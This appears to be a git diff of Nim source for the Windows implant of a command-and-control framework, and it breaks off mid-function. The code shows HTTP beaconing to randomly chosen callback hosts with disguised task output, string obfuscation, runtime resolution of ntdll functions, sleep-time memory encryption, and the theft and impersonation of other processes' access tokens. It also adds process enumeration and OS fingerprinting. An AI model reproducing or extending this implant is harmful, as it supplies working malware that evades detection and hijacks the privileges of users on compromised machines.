let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")) let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
endpoint &= fmt"{param}={payload}&" endpoint &= fmt"{param}={payload}&"
of protect("uri"):
discard
of protect("body"): of protect("body"):
discard body = payload
else: else:
discard discard
# Define additional request parameters # Define additional request parameters
for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")): for param in ctx.profile.getTableKeys(protect("http-get.agent.parameters")):
endpoint &= fmt"{param}={value.getStringValue()}&" endpoint &= fmt"{param.key}={param.value.getStringValue()}&"
try: try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
# Select random callback host # Select random callback host
let hosts = ctx.hosts.split(";") let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)] let host = hosts[rand(hosts.len() - 1)]
let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}") let response = waitFor client.request(fmt"http://{host}/{endpoint[0..^2]}", HttpGet, body)
# Check the HTTP status code to determine whether the agent needs to re-register to the team server # Check the HTTP status code to determine whether the agent needs to re-register to the team server
if response.code == Http404: if response.code == Http404:
@@ -62,17 +51,8 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
if responseBody.len() <= 0: if responseBody.len() <= 0:
return "" return ""
# In case that tasks are found, apply data transformation to server's response body to get thr raw data # Reverse data transformation
let return Bytes.toString(ctx.profile.reverseDataTransformation(protect("http-get.server.output"), responseBody))
prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")):
of protect("base64"):
return decode(encResponse)
of protect("none"):
return encResponse
except CatchableError as err: except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time # When the listener is not reachable, don't kill the application, but check in at the next time
@@ -88,24 +68,42 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-post.user-agent"))) let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-post.user-agent")))
# Define request headers, as defined in profile # Define request headers, as defined in profile
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")): for header in ctx.profile.getTableKeys(protect("http-post.agent.headers")):
client.headers.add(header, value.getStringValue()) client.headers.add(header.key, header.value.getStringValue())
# Select a random endpoint to make the request to # Select a random endpoint to make the request to
var endpoint = ctx.profile.getString(protect("http-post.endpoints")) var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
if endpoint[0] == '/': if endpoint[0] == '/':
endpoint = endpoint[1..^1] endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST"))) let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
let body = Bytes.toString(data) # Apply data transformation
let payload = ctx.profile.applyDataTransformation(protect("http-post.agent.output"), data)
var body: string = ""
# Add task result to the request
case ctx.profile.getString(protect("http-post.agent.output.placement.type")):
of protect("header"):
client.headers.add(ctx.profile.getString(protect("http-post.agent.output.placement.name")), payload)
of protect("query"):
let param = ctx.profile.getString(protect("http-post.agent.output.placement.name"))
endpoint &= fmt"{param}={payload}&"
of protect("body"):
body = payload # Set the request body to the "prefix & task output & suffix" construct
else:
discard
# Define additional request parameters
for param in ctx.profile.getTableKeys(protect("http-post.agent.parameters")):
endpoint &= fmt"{param.key}={param.value.getStringValue()}&"
try: try:
# Send post request to team server # Send post request to team server
# Select random callback host # Select random callback host
let hosts = ctx.hosts.split(";") let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)] let host = hosts[rand(hosts.len() - 1)]
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body) discard waitFor client.request(fmt"http://{host}/{endpoint[0..^2]}", requestMethod, body)
except CatchableError as err: except CatchableError as err:
print "[-] ", err.msg print "[-] ", err.msg

102
src/agent/core/process.nim Normal file
View File

@@ -0,0 +1,102 @@
import winim/lean
import tables
import ../utils/io
import ../../common/utils
import token
type
ProcessInfo* = object
pid*: DWORD
ppid*: DWORD
name*: string
user*: string
session*: ULONG
children*: seq[DWORD]
NtQuerySystemInformation = proc(systemInformationClass: SYSTEM_INFORMATION_CLASS, systemInformation: PVOID, systemInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
NtOpenProcess = proc(hProcess: PHANDLE, desiredAccess: ACCESS_MASK, oa: PCOBJECT_ATTRIBUTES, clientId: PCLIENT_ID): NTSTATUS {.stdcall.}
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
NtClose = proc(handle: HANDLE): NTSTATUS {.stdcall.}
proc cmp*(x, y: ProcessInfo): int =
return cmp(x.pid, y.pid)
#[
Retrieve snapshot of all currently running processes using NtQuerySystemInformation
]#
proc processSnapshot*(): PSYSTEM_PROCESS_INFORMATION =
var
pSystemProcInfo: PSYSTEM_PROCESS_INFORMATION
status: NTSTATUS = 0
returnLength: ULONG = 0
let pNtQuerySystemInformation = cast[NtQuerySystemInformation](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQuerySystemInformation")))
# Retrieve returnLength and allocate sufficient memory
discard pNtQuerySystemInformation(systemProcessInformation, NULL, 0, addr returnLength)
pSystemProcInfo = cast[PSYSTEM_PROCESS_INFORMATION](LocalAlloc(LMEM_FIXED, returnLength))
if pSystemProcInfo == NULL:
raise newException(CatchableError, "1.2" & GetLastError().getError())
# Retrieve system process information
status = pNtQuerySystemInformation(systemProcessInformation, cast[PVOID](pSystemProcInfo), returnLength, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "b" & status.getNtError())
return pSystemProcInfo
#[
Retrieve information about running processes
]#
proc processList*(): Table[DWORD, ProcessInfo] =
result = initTable[DWORD, ProcessInfo]()
# Take a snapshot of running processes
var sysProcessInfo = processSnapshot()
defer: LocalFree(cast[HLOCAL](sysProcessInfo))
let pNtOpenProcess = cast[NtOpenProcess](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtOpenProcess")))
let pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtOpenProcessToken")))
let pNtClose = cast[NtClose](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtClose")))
while true:
var
status: NTSTATUS
hToken: HANDLE = 0
hProcess: HANDLE = 0
oa: OBJECT_ATTRIBUTES
clientId: CLIENT_ID
var
pid = cast[DWORD](sysProcessInfo.UniqueProcessId)
ppid = cast[DWORD](sysProcessInfo.InheritedFromUniqueProcessId)
# Retrieve process information
result[pid] = ProcessInfo(
pid: pid,
ppid: ppid,
name: $sysProcessInfo.ImageName.Buffer,
session: sysProcessInfo.SessionId,
children: @[]
)
# Retrieve user context
InitializeObjectAttributes(addr oa, NULL, 0, 0, NULL)
clientId.UniqueProcess = cast[HANDLE](pid)
clientId.UniqueThread = 0
status = pNtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId)
if status == STATUS_SUCCESS and hProcess != 0:
status = pNtOpenProcessToken(hProcess, TOKEN_QUERY, addr hToken)
if status == STATUS_SUCCESS and hToken != 0:
result[pid].user = hToken.getTokenUser().username
discard pNtClose(hToken)
else:
result[pid].user = ""
discard pNtClose(hProcess)
# Move to next process
if sysProcessInfo.NextEntryOffset == 0:
break
sysProcessInfo = cast[PSYSTEM_PROCESS_INFORMATION](cast[ULONG_PTR](sysProcessInfo) + sysProcessInfo.NextEntryOffset)

View File

@@ -37,7 +37,7 @@ type
RtlDeleteTimerQueue = proc(hQueue: HANDLE): NTSTATUS {.stdcall.} RtlDeleteTimerQueue = proc(hQueue: HANDLE): NTSTATUS {.stdcall.}
NtCreateEvent = proc(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.stdcall.} NtCreateEvent = proc(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.stdcall.}
RtlCreateTimer = proc(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.stdcall.} RtlCreateTimer = proc(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
RtlRegisterWait = proc( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.stdcall.} RtlRegisterWait = proc( hWait: PHANDLE, handle: HANDLE, function: PVOID, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
NtSignalAndWaitForSingleObject = proc(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.stdcall.} NtSignalAndWaitForSingleObject = proc(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.stdcall.}
NtSetEvent = proc(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.stdcall.} NtSetEvent = proc(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.stdcall.}
NtDuplicateObject = proc(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.stdcall.} NtDuplicateObject = proc(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.stdcall.}
@@ -168,13 +168,13 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
# Retrieve the initial thread context # Retrieve the initial thread context
delay += 100 delay += 100
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD) status = apis.RtlCreateTimer(queue, addr timer, cast[PVOID](RtlCaptureContext), addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError()) raise newException(CatchableError, status.getNtError())
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming # Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
delay += 100 delay += 100
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD) status = apis.RtlCreateTimer(queue, addr timer, cast[PVOID](SetEvent), cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError()) raise newException(CatchableError, status.getNtError())
@@ -643,7 +643,7 @@ proc sleepObfuscate*(sleepSettings: SleepSettings) =
img.Length = imageSize img.Length = imageSize
# Generate random encryption key # Generate random encryption key
var keyBuffer: string = Bytes.toString(generateBytes(Key16)) var keyBuffer: string = Bytes.toString(generateBytes(KeyRC4))
key.Buffer = addr keyBuffer key.Buffer = addr keyBuffer
key.Length = cast[DWORD](keyBuffer.len()) key.Length = cast[DWORD](keyBuffer.len())

View File

@@ -1,7 +1,7 @@
import winim/lean import winim/lean
import strformat import strformat
import ../utils/io import ../utils/io
import ../../common/[types, utils] import ../../common/utils
#[ #[
Token impersonation & manipulation Token impersonation & manipulation
@@ -61,7 +61,7 @@ proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
status: NTSTATUS = 0 status: NTSTATUS = 0
hToken: HANDLE hToken: HANDLE
# https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to # https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to FALSE
status = apis.NtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken) status = apis.NtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken) status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken)
@@ -70,12 +70,12 @@ proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
return hToken return hToken
proc sidToString(apis: Apis, sid: PSID): string = proc sidToString(sid: PSID, apis: Apis = initApis()): string =
var stringSid: LPSTR var stringSid: LPSTR
discard apis.ConvertSidToStringSidA(sid, addr stringSid) discard apis.ConvertSidToStringSidA(sid, addr stringSid)
return $stringSid return $stringSid
proc sidToName(apis: Apis, sid: PSID): string = proc sidToName(sid: PSID): string =
var var
usernameSize: DWORD = 0 usernameSize: DWORD = 0
domainSize: DWORD = 0 domainSize: DWORD = 0
@@ -90,7 +90,7 @@ proc sidToName(apis: Apis, sid: PSID): string =
return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)] return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)]
return "" return ""
proc privilegeToString(apis: Apis, luid: PLUID): string = proc privilegeToString(luid: PLUID): string =
var privSize: DWORD = 0 var privSize: DWORD = 0
# Retrieve required size # Retrieve required size
@@ -104,7 +104,7 @@ proc privilegeToString(apis: Apis, luid: PLUID): string =
#[ #[
Retrieve and return information about an access token Retrieve and return information about an access token
]# ]#
proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: string] = proc getTokenStatistics(hToken: HANDLE, apis: Apis = initApis()): tuple[tokenId, tokenType: string] =
var var
status: NTSTATUS = 0 status: NTSTATUS = 0
returnLength: ULONG = 0 returnLength: ULONG = 0
@@ -120,7 +120,7 @@ proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: s
return (tokenId, tokenType) return (tokenId, tokenType)
proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] = proc getTokenUser*(hToken: HANDLE, apis: Apis = initApis()): tuple[username, sid: string] =
var var
status: NTSTATUS = 0 status: NTSTATUS = 0
returnLength: ULONG = 0 returnLength: ULONG = 0
@@ -139,9 +139,9 @@ proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, status.getNtError()) raise newException(CatchableError, status.getNtError())
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid)) return (sidToName(pUser.User.Sid), sidToString(pUser.User.Sid, apis))
proc getTokenElevation(apis: Apis, hToken: HANDLE): bool = proc getTokenElevation(hToken: HANDLE, apis: Apis = initApis()): bool =
var var
status: NTSTATUS = 0 status: NTSTATUS = 0
returnLength: ULONG = 0 returnLength: ULONG = 0
@@ -153,7 +153,7 @@ proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
return cast[bool](pElevation.TokenIsElevated) return cast[bool](pElevation.TokenIsElevated)
proc getTokenGroups(apis: Apis, hToken: HANDLE): string = proc getTokenGroups(hToken: HANDLE, apis: Apis = initApis()): string =
var var
status: NTSTATUS = 0 status: NTSTATUS = 0
returnLength: ULONG = 0 returnLength: ULONG = 0
@@ -176,11 +176,11 @@ proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
groupCount = pGroups.GroupCount groupCount = pGroups.GroupCount
groups = cast[ptr UncheckedArray[SID_AND_ATTRIBUTES]](addr pGroups.Groups[0]) groups = cast[ptr UncheckedArray[SID_AND_ATTRIBUTES]](addr pGroups.Groups[0])
result &= fmt"Group memberships ({groupCount})" & "\n" result &= protect("Group memberships (") & $groupCount & protect(")\n")
for i, group in groups.toOpenArray(0, int(groupCount) - 1): for i, group in groups.toOpenArray(0, int(groupCount) - 1):
result &= fmt" - {apis.sidToString(group.Sid):<50} {apis.sidToName(group.Sid)}" & "\n" result &= fmt" - {sidToString(group.Sid, apis):<50} {sidToName(group.Sid)}" & "\n"
proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string = proc getTokenPrivileges(hToken: HANDLE, apis: Apis = initApis()): string =
var var
status: NTSTATUS = 0 status: NTSTATUS = 0
returnLength: ULONG = 0 returnLength: ULONG = 0
@@ -203,34 +203,34 @@ proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
privCount = pPrivileges.PrivilegeCount privCount = pPrivileges.PrivilegeCount
privs = cast[ptr UncheckedArray[LUID_AND_ATTRIBUTES]](addr pPrivileges.Privileges[0]) privs = cast[ptr UncheckedArray[LUID_AND_ATTRIBUTES]](addr pPrivileges.Privileges[0])
result &= fmt"Privileges ({privCount})" & "\n" result &= protect("Privileges (") & $privCount & protect(")\n")
for i, priv in privs.toOpenArray(0, int(privCount) - 1): for i, priv in privs.toOpenArray(0, int(privCount) - 1):
let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: "Enabled" else: "Disabled" let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: protect("Enabled") else: protect("Disabled")
result &= fmt" - {apis.privilegeToString(addr priv.Luid):<50} {enabled}" & "\n" result &= fmt" - {privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
proc getTokenInfo*(hToken: HANDLE): string = proc getTokenInfo*(hToken: HANDLE): string =
let apis = initApis() let apis = initApis()
let (tokenId, tokenType) = apis.getTokenStatistics(hToken) let (tokenId, tokenType) = getTokenStatistics(hToken, apis)
result &= fmt"TokenID: 0x{tokenId}" & "\n" result &= protect("TokenID: 0x") & tokenId & "\n"
result &= fmt"Type: {tokenType}" & "\n" result &= protect("Type: ") & tokenType & "\n"
let (username, sid) = apis.getTokenUser(hToken) let (username, sid) = getTokenUser(hToken, apis)
result &= fmt"User: {username}" & "\n" result &= protect("User: ") & username & "\n"
result &= fmt"SID: {sid}" & "\n" result &= protect("SID: ") & sid & "\n"
let isElevated = apis.getTokenElevation(hToken) let isElevated = getTokenElevation(hToken, apis)
result &= fmt"Elevated: {$isElevated}" & "\n" result &= protect("Elevated: ") & $isElevated & "\n"
result &= apis.getTokenGroups(hToken ) result &= getTokenGroups(hToken, apis)
result &= apis.getTokenPrivileges(hToken) result &= getTokenPrivileges(hToken, apis)
#[ #[
Impersonate token Impersonate token
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c#L1281 - https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c#L1281
]# ]#
proc impersonate*(apis: Apis, hToken: HANDLE) = proc impersonate*(hToken: HANDLE, apis: Apis = initApis()) =
var var
status: NTSTATUS status: NTSTATUS
qos: SECURITY_QUALITY_OF_SERVICE qos: SECURITY_QUALITY_OF_SERVICE
@@ -239,7 +239,7 @@ proc impersonate*(apis: Apis, hToken: HANDLE) =
returnLength: ULONG = 0 returnLength: ULONG = 0
duplicated: bool = false duplicated: bool = false
if apis.getTokenStatistics(hToken).tokenType == protect("Primary"): if getTokenStatistics(hToken, apis).tokenType == protect("Primary"):
# Create a duplicate impersonation token # Create a duplicate impersonation token
qos.Length = cast[DWORD](sizeof(SECURITY_QUALITY_OF_SERVICE)) qos.Length = cast[DWORD](sizeof(SECURITY_QUALITY_OF_SERVICE))
qos.ImpersonationLevel = securityImpersonation qos.ImpersonationLevel = securityImpersonation
@@ -308,9 +308,9 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L
raise newException(CatchableError, GetLastError().getError()) raise newException(CatchableError, GetLastError().getError())
defer: discard apis.NtClose(hToken) defer: discard apis.NtClose(hToken)
apis.impersonate(hToken) impersonate(hToken, apis)
return apis.getTokenUser(hToken).username return getTokenUser(hToken, apis).username
proc enablePrivilege*(privilegeName: string, enable: bool = true): string = proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
let apis = initApis() let apis = initApis()
@@ -338,7 +338,7 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
raise newException(CatchableError, status.getNtError()) raise newException(CatchableError, status.getNtError())
let action = if enable: protect("Enabled") else: protect("Disabled") let action = if enable: protect("Enabled") else: protect("Disabled")
return fmt"{action} {apis.privilegeToString(addr luid)}." return fmt"{action} {privilegeToString(addr luid)}."
#[ #[
Steal the access token of a remote process and impersonate it Steal the access token of a remote process and impersonate it
@@ -375,6 +375,6 @@ proc stealToken*(pid: int): string =
raise newException(CatchableError, status.getNtError()) raise newException(CatchableError, status.getNtError())
defer: discard apis.NtClose(hToken) defer: discard apis.NtClose(hToken)
apis.impersonate(hToken) impersonate(hToken, apis)
return apis.getTokenUser(hToken).username return getTokenUser(hToken, apis).username

View File

@@ -19,7 +19,7 @@ proc main() =
3. Register to the team server if not already connected 3. Register to the team server if not already connected
4. Retrieve tasks via checkin request to a GET endpoint 4. Retrieve tasks via checkin request to a GET endpoint
5. Execute task and post result 5. Execute task and post result
6. If additional tasks have been fetched, go to 3. 6. If additional tasks have been fetched, go to 6.
7. If no more tasks need to be executed, go to 1. 7. If no more tasks need to be executed, go to 1.
]# ]#
while true: while true:

File diff suppressed because one or more lines are too long

View File

@@ -1,4 +1,4 @@
import winim, os, net, strutils, registry, zippy import winim, os, net, strutils, registry, zippy, strformat
import ../../common/[types, serialize, sequence, crypto, utils] import ../../common/[types, serialize, sequence, crypto, utils]
import ../../modules/manager import ../../modules/manager
@@ -69,16 +69,9 @@ proc getIPv4Address(): string =
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent # getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
return $getPrimaryIpAddr() return $getPrimaryIpAddr()
# Windows Version fingerprinting
type
ProductType = enum
UNKNOWN = 0
WORKSTATION = 1
DC = 2
SERVER = 3
# API Structs # API Structs
type OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object type
OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
dwOSVersionInfoSize: ULONG dwOSVersionInfoSize: ULONG
dwMajorVersion: ULONG dwMajorVersion: ULONG
dwMinorVersion: ULONG dwMinorVersion: ULONG
@@ -91,68 +84,79 @@ type OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<
wProductType: UCHAR wProductType: UCHAR
wReserved: UCHAR wReserved: UCHAR
# Windows Version fingerprinting
ProductType {.size: sizeof(uint8).} = enum
UNKNOWN = "Unknown"
WORKSTATION = "Workstation"
DC = "Domain Controller"
SERVER = "Server"
WindowsVersion = object
major: DWORD
minor: DWORD
buildMin: DWORD # Minimum build number (0 = any)
buildMax: DWORD # Maximum build number (0 = any)
productType: ProductType
name: string
let versions = [
# Windows 11 / Server 2022+
# WindowsVersion(major: 10, minor: 0, buildMin: 22631, buildMax: 0, productType: WORKSTATION, name: protect("Windows 11 23H2")),
# WindowsVersion(major: 10, minor: 0, buildMin: 22621, buildMax: 22630, productType: WORKSTATION, name: protect("Windows 11 22H2")),
WindowsVersion(major: 10, minor: 0, buildMin: 22000, buildMax: 0, productType: WORKSTATION, name: protect("Windows 11")),
WindowsVersion(major: 10, minor: 0, buildMin: 26100, buildMax: 0, productType: SERVER, name: protect("Windows Server 2025")),
WindowsVersion(major: 10, minor: 0, buildMin: 20348, buildMax: 26099, productType: SERVER, name: protect("Windows Server 2022")),
# Windows 10 / Server 2016-2019
WindowsVersion(major: 10, minor: 0, buildMin: 19041, buildMax: 19045, productType: WORKSTATION, name: protect("Windows 10 2004/20H2/21H1/21H2/22H2")),
WindowsVersion(major: 10, minor: 0, buildMin: 17763, buildMax: 19040, productType: WORKSTATION, name: protect("Windows 10 1809+")),
WindowsVersion(major: 10, minor: 0, buildMin: 10240, buildMax: 17762, productType: WORKSTATION, name: protect("Windows 10")),
WindowsVersion(major: 10, minor: 0, buildMin: 17763, buildMax: 17763, productType: SERVER, name: protect("Windows Server 2019")),
WindowsVersion(major: 10, minor: 0, buildMin: 14393, buildMax: 14393, productType: SERVER, name: protect("Windows Server 2016")),
WindowsVersion(major: 10, minor: 0, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server (Unknown Build)")),
# Windows 8.x / Server 2012
WindowsVersion(major: 6, minor: 3, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 8.1")),
WindowsVersion(major: 6, minor: 3, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2012 R2")),
WindowsVersion(major: 6, minor: 2, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 8")),
WindowsVersion(major: 6, minor: 2, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2012")),
# Windows 7 / Server 2008 R2
WindowsVersion(major: 6, minor: 1, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 7")),
WindowsVersion(major: 6, minor: 1, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2008 R2")),
# Windows Vista / Server 2008
WindowsVersion(major: 6, minor: 0, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows Vista")),
WindowsVersion(major: 6, minor: 0, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2008")),
# Windows XP / Server 2003
WindowsVersion(major: 5, minor: 2, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows XP x64 Edition")),
WindowsVersion(major: 5, minor: 2, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2003")),
WindowsVersion(major: 5, minor: 1, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows XP")),
]
proc matchVersion(version: WindowsVersion, info: OSVersionInfoExW, productType: ProductType): bool =
if info.dwMajorVersion != version.major or info.dwMinorVersion != version.minor:
return false
if productType != version.productType:
return false
if version.buildMin > 0 and info.dwBuildNumber < version.buildMin:
return false
if version.buildMax > 0 and info.dwBuildNumber > version.buildMax:
return false
return true
proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string = proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
let for version in versions:
major = info.dwMajorVersion if version.matchVersion(info, if productType == DC: SERVER else: productType): # Process domain controllers as servers, otherwise they show up as unknown
minor = info.dwMinorVersion if productType == DC:
build = info.dwBuildNumber return version.name & protect(" (Domain Controller)")
spMajor = info.wServicePackMajor else:
return version.name
if major == 10 and minor == 0: # Unknown windows version, return as much information as possible
if productType == WORKSTATION: return fmt"Windows {$int(info.dwMajorVersion)}.{$int(info.dwMinorVersion)} {$productType} (Build: {$int(info.dwBuildNumber)})"
if build >= 22000:
return protect("Windows 11")
else:
return protect("Windows 10")
else:
case build:
of 20348:
return protect("Windows Server 2022")
of 17763:
return protect("Windows Server 2019")
of 14393:
return protect("Windows Server 2016")
else:
return protect("Windows Server 10.x (Build: ") & $build & protect(")")
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return protect("Windows 8.1")
else:
return protect("Windows Server 2012 R2")
of 2:
if productType == WORKSTATION:
return protect("Windows 8")
else:
return protect("Windows Server 2012")
of 1:
if productType == WORKSTATION:
return protect("Windows 7")
else:
return protect("Windows Server 2008 R2")
of 0:
if productType == WORKSTATION:
return protect("Windows Vista")
else:
return protect("Windows Server 2008")
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return protect("Windows XP x64 Edition")
else:
return protect("Windows Server 2003")
elif minor == 1:
return protect("Windows XP")
else:
discard
return protect("Unknown Windows Version")
proc getProductType(): ProductType = proc getProductType(): ProductType =
# The product key is retrieved from the registry # The product key is retrieved from the registry

View File

@@ -256,10 +256,38 @@ proc BeaconRevertToken(): void {.stdcall.} =
RevertToSelf() RevertToSelf()
# BOOL BeaconIsAdmin(); # BOOL BeaconIsAdmin();
type
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
proc BeaconIsAdmin(): BOOL {.stdcall.}= proc BeaconIsAdmin(): BOOL {.stdcall.}=
# Not implemented let
hNtdll = GetModuleHandleA(protect("ntdll"))
pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
pNtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(hNtdll, protect("NtQueryInformationToken")))
var
status: NTSTATUS = 0
hToken: HANDLE
returnLength: ULONG = 0
pElevation: TOKEN_ELEVATION
# https://ntdoc.m417z.com/ntopenthreadtoken
status = pNtOpenThreadToken(cast[HANDLE](-2), TOKEN_QUERY, TRUE, addr hToken)
if status != STATUS_SUCCESS:
